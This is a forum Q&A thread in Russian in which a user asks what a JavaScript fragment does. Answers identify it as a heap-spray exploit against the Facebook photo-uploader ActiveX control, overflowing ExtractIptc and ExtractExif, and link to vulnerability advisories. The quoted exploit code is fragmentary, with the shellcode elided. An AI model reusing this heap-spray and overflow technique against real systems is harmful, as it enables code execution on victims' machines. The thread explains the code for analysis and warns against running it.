Я не понимаю этот кодекс - PullRequest
6 голосов
/ 16 марта 2009

Я не понимаю этот фрагмент кода:

function ms(){ 
    var plc=unescape('".
    unescape( '\x43\x43\x43\x43\n.............\xEF'. $URL).CollectGarbage(); 
    if (mf)return(0);
    mf=1; 
    var hsta=0x0c0c0c0c,hbs=0x100000,pl=plc.length*2,sss=hbs-(pl+0x38);
    var ss=gss(addr(hsta),sss),hb=(hsta-hbs)/hbs;
    for(i=0;i<hb;i++) m[i]=ss+plc; 
    hav();
    return(1); 
    }  

В приведенной выше функции я не могу определить типы переменных или выяснить, что она делает с переменной hsta и что она ей назначает:

var hsta=0x0c0c0c0c,hbs=0x100000,pl=plc.length*2,sss=hbs-(pl+0x38);
var ss=gss(addr(hsta),sss),hb=(hsta-hbs)/hbs;
for(i=0;i<hb;i++)m[i]=ss+plc;

Я также не могу понять эту функцию:

function fb(){
    try {
        var obj=null;
        obj=cobj('{5C6698D9-7BE4-4122-8EC5-291D84DBD4A0}');
        if(obj){
            ms();
            var buf = addr(0x0c0c0c0c);
            while (buf.length < 400) buf += buf;
            buf = buf.substring(0,400);
            obj.ExtractIptc = buf;
            obj.ExtractExif = buf;
            }
       } catch(e){}
    return 0;
    }

Что означает следующий код?

cobj('{5C6698D9-7BE4-4122-8EC5-291D84DBD4A0}')

Что это за переменная?

var buf = addr(0x0c0c0c0c);
buf = buf.substring(0,400);
obj.ExtractIptc = buf;
obj.ExtractExif = buf;

Самое главное, что пытается сделать этот фрагмент кода?

Вот еще несколько функций:

function hex(num,width){
    var digits='0123456789ABCDEF';
    var hex=digits.substr(num&0xF,1);
    while(num>0xF){
        num=num>>>4;
        hex=digits.substr(num&0xF,1)+hex;
        } 
    var width=(width?width:0);
    while(hex.length<width)hex='0'+hex;
    return hex; 
}

function addr(addr){
    return unescape('%u'+hex(addr&0xFFFF,4)+'%u'+hex((addr>>16)&0xFFFF,4));
    }

Любое руководство будет оценено.

Ответы [ 2 ]

26 голосов
/ 16 марта 2009

Это фрагмент javascript, пытающийся использовать уязвимость безопасности, связанную с Facebook, в частности с элементом управления ActiveX на стороне клиента для загрузки изображений.

Часть cobj пытается создать объект ClassID {5C6698D9-7BE4-4122-8EC5-291D84DBD4A0}, который является элементом управления загрузкой фотографий ActiveX. Функции ExtractIptc и ExtractExif принадлежат этому конкретному элементу управления ActiveX.

Ядром кода на самом деле являются манипуляции с адресом памяти, смещение, использование масок для разделения старших и младших битов. Например, hex((addr>>16)&0xFFFF,4)) берет адрес, сдвигает его на 16 бит вправо, очищает нижнюю часть и преобразует его в шестнадцатеричное число. Чтобы действительно понять большую часть этого кода, вы должны иметь правильные инструменты отладки.

Поиск в Google {5C6698D9-7BE4-4122-8EC5-291D84DBD4A0} ClassID дал некоторые интересные результаты, на которые вы должны обратить внимание:

http://www.kb.cert.org/vuls/id/776931

http://seclists.org/fulldisclosure/2008/Feb/0023.html

http://securitytracker.com/alerts/2008/Feb/1019297.html

Обратите внимание, это не PHP. Это JavaScript.

Подробнее ...

cobj, вероятно, переводится в вызов CreateObject (). Каждый зарегистрированный элемент управления ActiveX имеет свой собственный идентификатор класса и имеет форму {0000000000-0000-0000-0000-000000000000}. Если вы хотите сослаться на зарегистрированную библиотеку и создать ее экземпляр, вы можете использовать ее имя или идентификатор класса.

Сам элемент управления ActiveX должен быть файлом .OCX или .DLL на вашем компьютере. Если вы сможете найти этот файл и отладить его, вы получите самые конкретные сведения о функциях ExtractIptc и ExtractExif. Опять же, эти две функции, похоже, имеют уязвимости при вызове особым образом, и это то, что этот скрипт пытается использовать.

Часть var hsta=0x0c0c0c0c определяет переменную hsta, равную шестнадцатеричному числу 0c0c0c0c. Это то же самое, что написать var hsta = 202116108. В компьютерной инженерии легче иметь дело с шестнадцатеричными адресами, чем с десятичными числами, поскольку адреса и данные в памяти компьютера являются двоичными и могут быть непосредственно представлены в виде шестнадцатеричного числа. Более подробную информацию о шестнадцатеричной системе можно найти: http://en.wikipedia.org/wiki/Hexadecimal.

Кажется, что имя переменной hsta находится в венгерской нотации (первая буква представляет тип переменной - h для шестнадцатеричного числа). Поэтому я предположил бы, что это означает шестнадцатеричный начальный адрес (hsta). Следуя той же мысли, я думаю, что pl означает полезную нагрузку, а plc означает код полезной нагрузки.

Код полезной нагрузки - это код, который компьютер выполнит, если эксплойт был успешным, и это то, что вы видите в начале скрипта (\x43\x43\x43\x43\n....\xEF). Он кодируется как код оболочки для конкретной архитектуры процессора и операционной системы. Это означает, что код, который уже скомпилирован, автономен и может быть передан напрямую в ЦП. Если вы расшифруете это, вы, вероятно, найдете что-то похожее на машинный код. Наверное, ничего положительного.

Функция hex(num,width) преобразует десятичное число в шестнадцатеричную форму. Я протестировал функцию отдельно, и она вернула 3E8 при подаче 1000. Переменная width просто используется для выхода из скрипта, если получающееся шестнадцатеричное число больше указанного.

Об этой части:

var buf = addr(0x0c0c0c0c);
buf = buf.substring(0,400);
obj.ExtractIptc = buf;
obj.ExtractExif = buf;

Переменная buf является буфером. Буфер - это не что иное, как данные в памяти. Это может быть связано как строка, как показано в этом коде. Я предполагаю, что буфер из 400 байтов создается из любого содержимого в памяти в 0x0c0c0c0c, а затем подается в две функции.

Здесь отсутствует несколько определений функций. А именно, функция hav ().

1 голос
/ 16 марта 2009

Я исправил форматирование настолько, насколько мог, но все еще кажется, что куски отсутствуют. По крайней мере, я вижу синтаксические ошибки, неинициализированные переменные и т. Д.

Если это фактический рабочий код, пожалуйста, отредактируйте ваш вопрос и (используя кнопку «код» «101/010» или просто вставив 4 пробела вместо цитирования кнопкой «») опубликуйте фактический код так, чтобы мы увидели соответствует тому, что вы видите. РЕДАКТИРОВАТЬ: НЕ ПЫТАЙТЕСЬ ЗАПУСТИТЬ ЭТОТ КОД! Вероятно, это злонамеренно.

Если это не рабочий код, есть ваш ответ: он не работает, поэтому пытаться выяснить, как он работает, не имеет смысла.

...